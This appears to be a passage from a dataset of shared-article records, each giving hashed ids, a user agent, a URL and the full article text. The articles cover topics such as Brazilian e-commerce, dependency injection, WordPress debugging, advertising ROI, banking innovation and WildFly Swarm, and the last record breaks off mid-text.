1476810434,CONTENT SHARED,-3073433549435888423,3609194402293569455,4132788662641924163,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://googlediscovery.com/2016/10/18/pesquisa-do-google-mostra-influencia-do-digital-no-varejo-brasileiro/,Pesquisa do Google mostra a influência do digital no varejo brasileiro | Google Discovery,"Encomendada pela Google e realizada pela Forrester Research, o estudo faz uma projeção até 2021 do impacto do digital nas vendas online e offline e mostra a evolução da importância do mobile nas vendas online no Brasil para os próximos 5 anos. Até o final de 2016, 19% das vendas do e-commerce deverão ocorrer em dispositivos móveis. Em 2021, sua participação será de 41%. Hoje, 30% dos internautas só podem ser alcançados através do mobile, pois não acessam a internet em outros dispositivos. Nos próximos anos, mais 27 milhões de pessoas irão fazer sua primeira compra online, um total de 67.4 milhões. Isso irá representar 44% dos internautas. Até 2021, o impacto da web no varejo restrito deve crescer mais de 70%, chegando a 42% de todas as vendas, ou 365 bilhões. A influência do digital nas principais categorias do varejo envolvem principalmente eletrônicos, eletrodomésticos e livros, com 6 em cada 10 vendas desses produtos sendo precedidas pela interação com a web, e até 2021 essa influência terá sido ampliada atingindo 8 em cada 10 vendas. Os dados foram obtidos nos dias 14 e 22 de março de 2016 em duas pesquisas online com aproximadamente 4500 pessoas.",pt
1476811632,CONTENT SHARED,-7977868424702448788,-9047547311469006438,6291774537991885714,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://www.dbabr.com.br/blog/index.php/2016/10/10/terca-de-dados-11-debate-sobre-a-regulamentacao-de-ti/,Terça de Dados #11 - Debate sobre a Regulamentação de TI,"Desde o início das atividades de TI no Brasil, alguns profissionais sonham com a criação de leis específicas para a ""proteção"" dos profissionais da área, outros, porém, repudiam essa idéia, pois acreditam que quanto mais leis, maiores injustiças são praticadas. Há algum tempo, o SindPD vem tentando aprovar essa regulamentação, que atingiria diretamente os profissionais da área, obrigando-os a serem federados e, em contra-partida, ofereceriam maior estabilidade. Como o texto defendido pelo SindPD é bem controverso, com algumas posições altamente discutíveis, como: Aumento da fiscalização a contratações ilegais, como os conhecidos ""PJs"". Além de prejudicar os trabalhadores, deixando-os desemparados em seus direitos, este tipo de contratação provoca grande perda para o Estado. Fortalecimento das empresas de TI Estatais. Manutenção dos direitos trabalhistas e previdenciários (isso já não existe?). O DBA Brasil sente-se na obrigação de realizar um debate para discutirmos este assunto e, por isso, no próximo dia 18/10 , às 21:00 , vamos promover o Terça de Dados - Debate, com a participação de alguns dos DBAs mais experientes do Brasil e, como consequência deste debate, iniciar uma discussão em nossos grupos sobre o assunto, com a criação de algumas enquetes e, futuramente, pretendemos levar as idéias deste movimento ao conhecimento do SindPD e de autoridades. Fique por dentro e prepare-se para assistir esse debate! Leia na íntegra o teor desta proposta de lei, clicando aqui e, depois, clicando aqui também. Não deixe de participar! Como sempre, é grátis! Como o Youtube alterou alguns parâmetros de incorporação de vídeos ao vivo, talvez a visualização não seja exibida em nosso site, por isso, acesse o link para assistir.",pt
1476815303,CONTENT SHARED,-7762049078455894395,3891637997717104548,-3521065752539713426,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://martinfowler.com/articles/injection.html,Inversion of Control Containers and the Dependency Injection pattern,"In the Java community there's been a rush of lightweight containers that help to assemble components from different projects into a cohesive application. Underlying these containers is a common pattern to how they perform the wiring, a concept they refer under the very generic name of ""Inversion of Control"". In this article I dig into how this pattern works, under the more specific name of ""Dependency Injection"", and contrast it with the Service Locator alternative. The choice between them is less important than the principle of separating configuration from use. One of the entertaining things about the enterprise Java world is the huge amount of activity in building alternatives to the mainstream J2EE technologies, much of it happening in open source. A lot of this is a reaction to the heavyweight complexity in the mainstream J2EE world, but much of it is also exploring alternatives and coming up with creative ideas. A common issue to deal with is how to wire together different elements: how do you fit together this web controller architecture with that database interface backing when they were built by different teams with little knowledge of each other. A number of frameworks have taken a stab at this problem, and several are branching out to provide a general capability to assemble components from different layers. These are often referred to as lightweight containers, examples include PicoContainer , and Spring . Underlying these containers are a number of interesting design principles, things that go beyond both these specific containers and indeed the Java platform. Here I want to start exploring some of these principles. The examples I use are in Java, but like most of my writing the principles are equally applicable to other OO environments, particularly .NET. Components and Services The topic of wiring elements together drags me almost immediately into the knotty terminology problems that surround the terms service and component. You find long and contradictory articles on the definition of these things with ease. For my purposes here are my current uses of these overloaded terms. I use component to mean a glob of software that's intended to be used, without change, by an application that is out of the control of the writers of the component. By 'without change' I mean that the using application doesn't change the source code of the components, although they may alter the component's behavior by extending it in ways allowed by the component writers. A service is similar to a component in that it's used by foreign applications. The main difference is that I expect a component to be used locally (think jar file, assembly, dll, or a source import). A service will be used remotely through some remote interface, either synchronous or asynchronous (eg web service, messaging system, RPC, or socket.) I mostly use service in this article, but much of the same logic can be applied to local components too. Indeed often you need some kind of local component framework to easily access a remote service. But writing ""component or service"" is tiring to read and write, and services are much more fashionable at the moment. A Naive Example To help make all of this more concrete I'll use a running example to talk about all of this. Like all of my examples it's one of those super-simple examples; small enough to be unreal, but hopefully enough for you to visualize what's going on without falling into the bog of a real example. In this example I'm writing a component that provides a list of movies directed by a particular director. This stunningly useful function is implemented by a single method. class MovieLister... The implementation of this function is naive in the extreme, it asks a finder object (which we'll get to in a moment) to return every film it knows about. Then it just hunts through this list to return those directed by a particular director. This particular piece of naivety I'm not going to fix, since it's just the scaffolding for the real point of this article. The real point of this article is this finder object, or particularly how we connect the lister object with a particular finder object. The reason why this is interesting is that I want my wonderful moviesDirectedBy method to be completely independent of how all the movies are being stored. So all the method does is refer to a finder, and all that finder does is know how to respond to the findAll method. I can bring this out by defining an interface for the finder. Now all of this is very well decoupled, but at some point I have to come up with a concrete class to actually come up with the movies. In this case I put the code for this in the constructor of my lister class. class MovieLister... The name of the implementation class comes from the fact that I'm getting my list from a colon delimited text file. I'll spare you the details, after all the point is just that there's some implementation. Now if I'm using this class for just myself, this is all fine and dandy. But what happens when my friends are overwhelmed by a desire for this wonderful functionality and would like a copy of my program? If they also store their movie listings in a colon delimited text file called ""movies1.txt"" then everything is wonderful. If they have a different name for their movies file, then it's easy to put the name of the file in a properties file. But what if they have a completely different form of storing their movie listing: a SQL database, an XML file, a web service, or just another format of text file? In this case we need a different class to grab that data. Now because I've defined a MovieFinder interface, this won't alter my moviesDirectedBy method. But I still need to have some way to get an instance of the right finder implementation into place. Figure 1 shows the dependencies for this situation. The MovieLister class is dependent on both the MovieFinder interface and upon the implementation. We would prefer it if it were only dependent on the interface, but then how do we make an instance to work with? In my book P of EAA , we described this situation as a Plugin . The implementation class for the finder isn't linked into the program at compile time, since I don't know what my friends are going to use. Instead we want my lister to work with any implementation, and for that implementation to be plugged in at some later point, out of my hands. The problem is how can I make that link so that my lister class is ignorant of the implementation class, but can still talk to an instance to do its work. Expanding this into a real system, we might have dozens of such services and components. In each case we can abstract our use of these components by talking to them through an interface (and using an adapter if the component isn't designed with an interface in mind). But if we wish to deploy this system in different ways, we need to use plugins to handle the interaction with these services so we can use different implementations in different deployments. So the core problem is how do we assemble these plugins into an application? This is one of the main problems that this new breed of lightweight containers face, and universally they all do it using Inversion of Control. Inversion of Control When these containers talk about how they are so useful because they implement ""Inversion of Control"" I end up very puzzled. Inversion of control is a common characteristic of frameworks, so saying that these lightweight containers are special because they use inversion of control is like saying my car is special because it has wheels. The question is: ""what aspect of control are they inverting?"" When I first ran into inversion of control, it was in the main control of a user interface. Early user interfaces were controlled by the application program. You would have a sequence of commands like ""Enter name"", ""enter address""; your program would drive the prompts and pick up a response to each one. With graphical (or even screen based) UIs the UI framework would contain this main loop and your program instead provided event handlers for the various fields on the screen. The main control of the program was inverted, moved away from you to the framework. For this new breed of containers the inversion is about how they lookup a plugin implementation. In my naive example the lister looked up the finder implementation by directly instantiating it. This stops the finder from being a plugin. The approach that these containers use is to ensure that any user of a plugin follows some convention that allows a separate assembler module to inject the implementation into the lister. As a result I think we need a more specific name for this pattern. Inversion of Control is too generic a term, and thus people find it confusing. As a result with a lot of discussion with various IoC advocates we settled on the name Dependency Injection . I'm going to start by talking about the various forms of dependency injection, but I'll point out now that that's not the only way of removing the dependency from the application class to the plugin implementation. The other pattern you can use to do this is Service Locator, and I'll discuss that after I'm done with explaining Dependency Injection. Forms of Dependency Injection The basic idea of the Dependency Injection is to have a separate object, an assembler, that populates a field in the lister class with an appropriate implementation for the finder interface, resulting in a dependency diagram along the lines of Figure 2 There are three main styles of dependency injection. The names I'm using for them are Constructor Injection, Setter Injection, and Interface Injection. If you read about this stuff in the current discussions about Inversion of Control you'll hear these referred to as type 1 IoC (interface injection), type 2 IoC (setter injection) and type 3 IoC (constructor injection). I find numeric names rather hard to remember, which is why I've used the names I have here. class MovieLister... class ColonMovieFinder... class MovieLister... class ColonMovieFinder... class Tester... class Tester... class Tester... class Tester... class IfaceTester... Using a Service Locator The key benefit of a Dependency Injector is that it removes the dependency that the MovieLister class has on the concrete MovieFinder implementation. This allows me to give listers to friends and for them to plug in a suitable implementation for their own environment. Injection isn't the only way to break this dependency, another is to use a service locator . The basic idea behind a service locator is to have an object that knows how to get hold of all of the services that an application might need. So a service locator for this application would have a method that returns a movie finder when one is needed. Of course this just shifts the burden a tad, we still have to get the locator into the lister, resulting in the dependencies of Figure 3 In this case I'll use the ServiceLocator as a singleton Registry . The lister can then use that to get the finder when it's instantiated. class MovieLister... class ServiceLocator... As with the injection approach, we have to configure the service locator. Here I'm doing it in code, but it's not hard to use a mechanism that would read the appropriate data from a configuration file. class Tester... class ServiceLocator... Here's the test code. class Tester... I've often heard the complaint that these kinds of service locators are a bad thing because they aren't testable because you can't substitute implementations for them. Certainly you can design them badly to get into this kind of trouble, but you don't have to. In this case the service locator instance is just a simple data holder. I can easily create the locator with test implementations of my services. For a more sophisticated locator I can subclass service locator and pass that subclass into the registry's class variable. I can change the static methods to call a method on the instance rather than accessing instance variables directly. I can provide thread-specific locators by using thread-specific storage. All of this can be done without changing clients of service locator. A way to think of this is that service locator is a registry not a singleton. A singleton provides a simple way of implementing a registry, but that implementation decision is easily changed. class ServiceLocator... class Tester... class MovieLister... Deciding which option to use So far I've concentrated on explaining how I see these patterns and their variations. Now I can start talking about their pros and cons to help figure out which ones to use and when. My long running default with objects is as much as possible, to create valid objects at construction time. This advice goes back to Kent Beck's Smalltalk Best Practice Patterns : Constructor Method and Constructor Parameter Method. Constructors with parameters give you a clear statement of what it means to create a valid object in an obvious place. If there's more than one way to do it, create multiple constructors that show the different combinations. Some further issues In this article, I've concentrated on the basic issues of service configuration using Dependency Injection and Service Locator. There are some more topics that play into this which also deserve attention, but I haven't had time yet to dig into. In particular there is the issue of life-cycle behavior. Some components have distinct life-cycle events: stop and starts for instance. Another issue is the growing interest in using aspect oriented ideas with these containers. Although I haven't considered this material in the article at the moment, I do hope to write more about this either by extending this article or by writing another. You can find out a lot more about these ideas by looking at the web sites devoted to the lightweight containers. Surfing from the picocontainer and spring web sites will lead to you into much more discussion of these issues and a start on some of the further issues. Concluding Thoughts The current rush of lightweight containers all have a common underlying pattern to how they do service assembly - the dependency injector pattern. Dependency Injection is a useful alternative to Service Locator. When building application classes the two are roughly equivalent, but I think Service Locator has a slight edge due to its more straightforward behavior. However if you are building classes to be used in multiple applications then Dependency Injection is a better choice. If you use Dependency Injection there are a number of styles to choose between. I would suggest you follow constructor injection unless you run into one of the specific problems with that approach, in which case switch to setter injection. If you are choosing to build or obtain a container, look for one that supports both constructor and setter injection. The choice between Service Locator and Dependency Injection is less important than the principle of separating service configuration from the use of services within an application.",en
1476817195,CONTENT SHARED,2096088841518695759,6773859371279096371,-285085615338392445,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://www.meioemensagem.com.br/home/opiniao/2016/10/14/a-publicidade-sem-roi-acaba-de-morrer-adapte-se-ou-junte-se-a-ela.html,A publicidade sem ROI acaba de morrer: adapte-se ou junte-se a ela - Meio & Mensagem,"No mês de agosto, o McDonald's trocou sua agência publicitária nos EUA. Sai Leo Burnett, entra Omnicon . Parece mais uma notícia normal do meio publicitário. Mas, se olharmos com calma, esse acontecimento pode ser visto como um grande marco na história do mercado. Tudo isso por um único motivo: no acordo, o grupo Omnicom será remunerado unicamente com base em r esultados específicos de negócio que gerar para o McDonald's . É isso mesmo, nada de BV ou qualquer outra forma de remuneração clássica do mercado publicitário. Entregue resultados reais e mensuráveis ou saia sem um centavo. A tendência está clara, as empresas não vão mais investir em marketing, especialmente em publicidade, que não traga resultados diretos para o negócio. O fato de uma das contas publicitárias mais tradicionais do mundo ser agora 100% baseada em performance está praticamente gritando isso para o mercado. De certa forma, era previsível que a publicidade ""de massa"", mais cedo ou mais tarde, precisaria começar a prestar contas. A internet mudou radicalmente o nível de exigência de CEOs sobre os resultados práticos de seus investimentos em marketing. Antes, não havia tecnologia confiável para nos dizer exatamente quantos reais em vendas foram gerados por cada esforço de comunicação. Além disso, alternativas como pesquisas de mercado custavam fortunas e eram demoradas. Hoje, entretanto, qualquer PME pode ter dashboards mostrando, em tempo real, o retorno exato de todos os seus investimentos. O fato de uma gigante como o Omnicom aceitar um deal como esse, é a prova de que o mercado publicitário não tem outra saída a não ser se adaptar a esse novo cenário. Agora, não adianta mais defender uma ação de resultados duvidosos no gogó, dizendo que foi uma ""ação inovadora"", que melhorou a ""personalidade da marca"" ou que gerou ""buzz nas redes sociais"". Quando se está falando com gestores, é difícil argumentar contra os números das vendas. Essa nova realidade traz duas consequências que preocupam muita gente do mercado publicitário: primeiro, se você não entregar resultados reais, você está fora do jogo; segundo, se você não tiver capacidade técnica para mensurar a sua performance, mesmo que o seu trabalho esteja bom, você também corre sérios riscos. Afinal, gestores agora só se satisfazem com números. Os próprios diretores de marketing das empresas nunca estiveram tão ameaçados. A falta de capacidade em demonstrar ROI (retorno sobre o investimento) tem gerado demissões recorde. De acordo com uma pesquisa recente , 48% dos 30 maiores varejistas americanos trocaram a liderança de marketing nos últimos 12 meses. Isso porque os gestores de empresas estão exigindo uma demonstração clara de eficiência em vendas. E para muitos profissionais de outra época, a dificuldade de lidar com esse modelo de performance está lhes custando o emprego. É importante lembrar que, obviamente, a tecnologia de hoje ainda não consegue mensurar todos os efeitos da publicidade com precisão. Ainda precisamos evoluir muito para entender exatamente o retorno de investimentos mais ""subjetivos"" como ações de branding. Não temos métricas 100% confiáveis para mensurar seus resultados para o negócio, mas sabemos que, se bem feitos, eles podem sim colaborar fortemente na geração receita. Mas, independente disso, a realidade é que os gestores provaram o sabor da mensuração e gostaram. Eles viram o poder da avaliação minuciosa de performance em plataformas como o Google Analytics e o Adwords. Agora, eles vão exigir isso para tudo. E na medida em que o marketing de performance vai ficando mais ""mainstream"", será cada vez mais difícil encontrar uma empresa que aceite trabalhar sem a mensuração precisa de resultados palpáveis. Inevitavelmente, muitas agências ficarão pelo caminho. Afinal, além de não terem o domínio técnico para isso, há algo ainda mais sério: elas não têm a cultura. O mercado de comunicação brasileiro é perigosamente ""colado"" aos aspectos puramente criativos da publicidade. Algumas agências investem infinitamente mais tempo discutindo a estética de suas peças do que planejando e mensurando o impacto real que elas trarão para o bolso dos clientes. Por isso, esta atual mudança de paradigma será grande demais para alguns players do mercado suportarem. Hoje, o palco ocupado por ideias inovadoras mas com potencial de resultado questionável, será tomado pelos casos que trouxerem resultados reais para as marcas. Saem as ideias ""criativas"", entram as ideias que vendem. Parece cruel, mas pense comigo: receber por performance, como no acordo do McDonald's com o Omnicom, fará a sobrevivência de agências, finalmente, depender dos resultados reais que elas geram para os clientes e não mais de relacionamentos, discursos ou ideias criativas agradáveis para os olhos de um ou outro decisor. E não era para ser assim desde o começo? Estamos em um caminho sem volta. Se você é profissional de comunicação, cuidado para não ficar do lado errado nessas drásticas mudanças que já começaram pelo mundo. Por um movimento natural de mercado, as agências e seus clientes passarão a concentrar seus recursos na contratação de profissionais de performance. Depende de suas atitudes fazer com que esse fato seja uma grande ameaça ou uma grande oportunidade para você. Para as agências, é ""simples"": é preciso mensurar e entregar resultados reais. Ou, muito em breve, quem não conseguir se adequar poderá ter que achar um jeito de pagar suas contas com estátuas de Leões de Cannes.",pt
1476824893,CONTENT SHARED,-3248233692182971167,3609194402293569455,4132788662641924163,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://www.sitepoint.com/debugging-wordpress/,Debugging WordPress: 11 Powerful Tips and Techniques,"Debugging is an essential skill for any developer. This tutorial will show you 11 powerful ways to debug WordPress and PHP errors. The first item in the list is the famous WP_Debug, then we'll jump into some more advanced methods. First, let's list the types of common PHP errors: A - Notice: This is the least important error message you will see with PHP. It does not necessarily mean something is wrong, but there is possible improvement suggested. Example: null element passed to a function that expect a string. B - Warning: It's a more severe error, but does not cause script termination. Example: giving include() a file that does not exist. C - Fatal error: This is a dangerous indicator of something going really wrong, and the script terminated. Example: calling a non-existing function. 1 - WP_DEBUG WordPress has a global constant to specify the needed level of debugging: WP_DEBUG. Along with this constant, comes two another important ones: WP_DEUBG_DISPLAY, and WP_DEBUG_LOG. WP_DEBUG is used to set the debugging mode on or off. WP_DEUBG_DISPLAY shows errors or hides them. Finally, WP_DEBUG_LOG saves your error messages in wp-content/debug.log. The three global constants can be set to true or false in wp-config.php, like this: 2 - is_wp_error() Another WordPress built-in tool for debugging is is_wp_error();. It is a method to check if a certain result is of type WP_Error. WP_Error is actually the returned object you should receive if a WordPress method fails. Example: The above code will try adding a new post using wp_insert_post(). If this method fails, it will return WP_Error object. You can then catch and get the error message. 3 - Debug Bar Another useful tool for debugging WordPress errors is the Debug Bar . It is a very handy tool for getting useful information about every page in your website. After installing it, you will find a new Debug button. When you click on it, an analysis of the queries, templates, PHP installation, and many other useful information. 4 - Test Website It is of the utmost importance to separate the live website from your tests and development. I usually have two installs of WordPress on my websites. This is important because you don't want your scripts terminating when you turn on error reporting. 5 - Simply Show Hooks Simply Show Hooks is a nice plugin for showing every hook that is running on any page. If you encounter a situation where all error reporting ideas are not working, and you will, then comes the time for fetching out every and all running hooks. This plugin will tell you what action or filter hooks that run on any page. You can then start analyzing and debugging each hook code. You can also see the attached methods to every hook. And even find out the priority of each. 6 - WPDB Error Reporting If you use the wpdb class for dealing with your database, then you will always need error reporting. Whether it is for making sure that your queries run correctly, or for showing up error messages for debugging. Example: 7 - Server Error Logs At some points, neither WordPress or PHP will be able to catch some coding errors. For example, if your script exceeded the maximum allowed run time, you won't get a PHP error message. Rather, Apache (or your server installed system) will pop up something like 'Internal Server Error.' This is the time when you should go to your error log, and see what if your PHP code, or a certain part of your WordPress installation did something wrong. You can consult your web hosting provided on where the logging is stored. Usually it is something under logs folder. 8 - PHP Error Logging PHP has its own level of error reporting to store the issues resolving beyond WordPress. This is extremely useful, especially if something outside of WordPress running and causing some problem. You can start by configuring your php.ini file to turn on error reporting, and then choosing where to store such messages. Setting the above two lines will turn on error reporting, and set the errors to be saved at the specified path. Also, you can run phpinfo(); and check the error_log option. 9 - PHP Syntax Checker If your hosting provider limits access to php.ini file, or you can't access error logs, things can be a bit harder. But, there are many tools to overcome a situation when you get only a blank page with no error message. One quick tool is PHP Code Checker . PHP Code Checker is a syntax errors checking tool. It is really useful if you missed a semi-colon or a curly brace, and can't find where did you miss it. 10 - PHP IDE If PHP Code Checker didn't find a syntax error, then you will need a more powerful tool. A powerful IDE like PhpStorm will be the answer for more advanced debugging, and breaking down your code into parts. In a situation like, when you store a string in a variable, and try printing it, but nothing happens. Using an IDE can find out you are doing something wrong like, overriding this variable later in your code. This is why it is highly recommended to rely on a powerful IDE like PhpStorm, Eclipse, or any tool you prefer. 11 - Disabling Browser Cache If you are working on the front-end side of your website, then you need to disable browser cache. This is necessary because if you are working on your JavaScript code, and it's not updating, or even worse, updating but not showing new errors, then you need to disable cache. Disabling the cache means you ask your browser to stop working on old stored files of your website. This includes CSS and JavaScript files. To disable Google Chrome browser cache, open the DevTools by right-clicking of any web element. Then, click on Network tab in toolbar. Finally, check the Disable Cache checkbox at the top.",en
1476825758,CONTENT SHARED,-8278375716950339547,3609194402293569455,4132788662641924163,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://spectrum.ieee.org/cars-that-think/transportation/self-driving/aussie-roboticizes-a-ford-focus-for-less-than-1000,Aussie Uses Arduino Chips To Roboticize a Ford Focus,"Image: Keran McKenzie The hard part of getting cars to drive themselves is the last, niggling one percent of reliability. That's the bit that has so far stymied even the tech giants and auto titans who are developing self-driving cars . But roboticizing the first 90-plus percent of driving is easy-peasey, as Keran McKenzie, of Melbourne, Australia, shows in his hack of a Ford Focus. He began by asking himself why the ""home"" button on the car can only let the driver plot a trip back home. Why not have it actually drive the car home as well? So he took out his car's recessed ultrasound sensors (good for short-range work, like parking) and replaced them with five little cameras backed by the hacker's friend, Arduino processors . Next, he hooked these up to a master processor situated at the back of the engine compartment. Then he piped some of the output into a display in the cabin, so he'd know how the system was working. Total cost, McKenzie says, was less than a grand, presumably in Australian dollars-the equivalent of about US $770. That's not half bad for an IT guy whose main job is in automating workplace systems . It's not even 10 percent bad. But it wasn't quite good enough for use on a public road, as he learns about 10 seconds into his drive (at 3:00 in the following clip). Okay, so maybe McKenzie's surprise is feigned, as if he meant to say, ""Don't try this at home, kids!""",en
1476874826,CONTENT SHARED,-4893195573827770029,5660542693104786364,9049740878626767585,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://thefinanser.com/2016/10/cynical-bankers-trick-show-money.html/,The cynical bankers' trick: show me the money - Chris Skinner's blog,"I've spent decades preaching transformation and the easiest way to shut me up is ask: Where's the business case? This is the question normally asked by the mealy-mouthed cynical financial controlling banker in the audience ... They want the spreadsheet showing the cost-benefit analysis and return on investment figures. The problem is that, as anyone dealing with innovation will tell you, there isn't one. Uber, now valued at $70 billion, would have started out saying they were going to get some of the multibillion dollar personal transportation market. The cynical banker would say: how much? Show me the analysis? Where are the stats? Can you guarantee them? Of course you can't!!!! That's why most innovation comes from Venture Capital and Private Equity funds. Venture Capital is exactly that: investing in adventures. An adventure is unknown. It's a little like going back to great explorers like Captain Cook, Daniel Boone or Edmund Hillary. They would all enter the halls of money (or Royalty in the case of James Cook) and say they were going on a great adventure. They don't know where they're going, for how long or how far away, but they know they will come back having conquered the unconquerable, discovered the undiscovered and made a mark in history. In some ways that's what the transformation opportunity is all about: an adventure into the unknown. The thing is, what banker in their sane mind would take an adventure into the unknown. Bankers like to deal with known knowns and avoid known unknowns. In fact, they like to avoid anything unknown. Q: What's the likely impact on our customers if we transform to digital? A: They'll like it. Q: That's not good enough. How many will like it? A: Lots of them. Q: But exactly how many? A: More than those who leave us if we don't do this. Q: How many will leave us? Q: Give me a number. A: Well, I can't today but it's obvious that they'll leave us because the competition is going digital. Q: Which competition? A: That new start-up Astro Bank. Q: Astro what? A: Astro Bank. Q: Who are they? A: A new digital start-up that is targeting to steal all of our customers. Q: Have they actually stolen any? A: ... but they will. You see the issue. We have those convinced that things will change and transform, and those who don't believe it. In fact, without a business case, there's only one other way in which a bank executive who is cynical would work on transforming the bank, and that's a burning platform. A burning platform is one that shows the bank will implode and die if they don't change. There's certainly enough people claiming this could happen, but is anyone in the C-suite getting that message ... yes, some do. (still doesn't mean that they know what to do about it)",en
1476883901,CONTENT SHARED,3151913710743441986,3609194402293569455,2622882697965669048,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://epocanegocios.globo.com/Caminhos-para-o-futuro/Energia/noticia/2015/04/parece-arvore-mas-e-uma-turbina-eolica.html,"Parece árvore, mas é uma turbina eólica","Árvore eólica (Foto: New Wind R&D) Uma árvore que gera energia limpa e renovável? Mais ou menos: embora tenha a aparência de uma árvore, na verdade se trata da turbina eólica L'Eolien 2.0 desenvolvida pela empresa francesa New Wind R&D . No lugar das folhas tradicionais, há miniturbinas feitas de PVC verde que se movimentam e geram energia até com os ventos mais fracos, vindos de qualquer direção, em 360 graus. A estrutura de árvore abriga em seu interior cabos e geradores, contribuindo para embelezar a paisagem, seja urbana ou rural. A L'Eolien 2.0 tem capacidade instalada de 3,1 kW e sua produção varia de acordo com a velocidade dos ventos (1.320 kWh para ventos de 3 metros/segundo até 3.160 kWh para ventos de 5 metros/segundo). Por ser equipada com dezenas de ""folhas"", quando uma delas entra em pane não há interrupção de geração de energia, já que as demais continuam funcionando. Além de ser silenciosa, a árvore-turbina consegue aproveitar melhor a capacidade do vento porque necessita de menos força para movimentar suas miniturbinas, sendo capaz de operar 280 dias por ano, enquanto equipamentos maiores, que exigem mais ventos, rodam em torno de 200 dias. Sua vida útil pode chegar aos 25 anos de funcionamento, sendo capaz de resistir a altas temperaturas, segundo seu fabricante. Um dos projetos piloto da árvore-turbina foi inaugurado no Parque de Radôme, em Pleumeur-Bodou, na Bretanha francesa. Sua capacidade de geração fica entre 2,5 a 4 kWh. Cada árvore, com 11 metros de altura, pode satisfazer as necessidades de energia de uma família de quatro pessoas. Mas, como toda nova tecnologia, o preço ainda é alto: 29.500 euros por unidade. Isso não impediu, porém, encomendas de muitas empresas e autoridades locais, que já adquiriram 21 árvores. Confira no vídeo como a árvore-turbina funciona:",pt
1476888660,CONTENT SHARED,2725842723638001955,-3595444231792050977,798149484404780068,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36",SP,BR,HTML,http://blog.caelum.com.br/micro-profile-javaee-com-wildfly-swarm/,Micro Profile JavaEE com Wildfly Swarm,"Foi-se o tempo em que desenvolver uma aplicação JavaEE era algo extremamente burocrático e que tínhamos um servidor de aplicação inchado e com um consumo excessivo de recursos. Hoje temos servidores que foram pensado na reutilização dos recursos e ainda temos a possibilidade de escolher quais módulos vamos inicializar junto com o servidor de aplicação, os chamados profiles . Mas e quando pensamos em micro-serviço? Como podemos trabalhar com micro-serviços no JavaEE? A ideia do micro-serviço é de ter serviços isolados e independentes. Até aí tudo bem, podemos criar aplicações JavaEE separadas(isto é cada uma com seu .war ). Mas como podemos fazer o deploy dessas aplicações? Podemos ter um único contêiner (servidor de aplicação) para onde efetuamos o deploy de todas as aplicações. Mas com isso estamos indo de frente com a ideia de micro-serviço. Pois estamos gerando um ponto único de falha ( SPOF ). Em outras palavras se precisarmos por alguma razão interromper o contêiner, todas as aplicações penduradas nele cairam também. Outra alternativa seria cada serviço ter seu próprio contêiner, mas dessa forma estaríamos subutilizando o próprio contêiner. Pois nele temos diversos serviços rodando e que nossas aplicações não iriam precisar. Se não tivessemos usando servidor de aplicação poderiamos usar um contêiner embutido na aplicação (Tomcat, Jetty, Undertown e etc..). Porém dessa forma perderiamos as facilidades que o servidor de aplicação nos proporcionam. E aí que entra uma ferramenta nova para nos ajudar, Wildfly-Swarm . Com ele podemos declarar quais ""módulos"" da plataforma JavaEE queremos utilizar. A partir daí é desenvolver sua aplicação JavaEE normalmente e ao empacotar nossa aplicação, o wildfly-swarm pegará nosso pacote .war e irá embrulhar em um pacote dele com um contêiner micro para rodar nossa aplicação. Daí o nome de Micro-Profile . Esse artefato final (o pacote que foi gerado a partir do nosso .war ) é um arquivo .jar e podemos executar com um simples comando java -jar no nosso terminal. Wildfly-Swarm usa o conceito de UberJar para gerar o artefato final. Que nada mais é do que um arquivo .jar que contém além do seu .war todas as dependências necessárias para que o wildfly-swarm consiga rodar. Logo um UberJar é um arquivo .jar um pouco mais inchado mas somente com o necessário para rodar a aplicação. O mínimo necessário para rodar o wildfly-swarm é JDK8 e Maven ou Gradle . No wildfly-swarm temos o conceito de fraction , que nada mais é do que uma funcionalidade/configuração do servidor de aplicação. Na maioria das vezes um fraction pode ser comparado (mapeado) com um subsystem do servidor de aplicação (ex.: Datasource, Driver, Pool, socket-binding e etc...), temos outros casos em que um fraction é uma funcionalidade que antes não tínhamos (nativamente) no servidor de aplicação (Ex.: Jolokia, Spring, NetflixOSS ). Para usar o wildfly precisamos importar um pom.xml do wildfly-swarm no nosso projeto, e adicionar um plugin que fará a geração do UberJar . Nesse post vamos construir uma simples aplicação rest usando o wildfly-swarm. Vamos lá! Com o projeto (web) maven criado precisamos importar o pom.xml do wildfly-swarm ao nosso projeto. Esse pom.xml é importado declarando uma denpendencia gerenciada e declarando que o escopo da mesma será import . Para não ficar espalhando a versão do wildfly-swarm estamos utilizando por todo nosso pom.xml vamos declarar uma propriedade com ela. Além disso já vamos definir a versão do Java que iremos utilizar, e como se trata de um projeto web teoricamente precisariamos de um arquivo web.xml porém não é necessário para nosso caso. Então vamos definir que não deve ser gerado um erro caso não exista o arquivo web.xml . Agora vamos importar o arquivo pom.xml do wildfly-swarm que tem o nome de BOM (Bill of Materials). Além disso precisamos adicionar o plugin que irá gerar o UberJar baseado no nosso war . Precisamos também adicionar a dependência referente à api do JavaEE e esta será provida pelo wildfly-swarm. E esse é o setup para utilizar o wildfly-swarm, ao final teriamos o nosso arquivo pom.xml mais ou menos da seguinte maneira: Agora vamos adicionar as dependências que queremos do servidor de aplicação, para o nosso caso vamos adicionar, jax-rs , cdi , ejb , jpa , datasources . Vamos começar a ""codar"" nosso projeto de 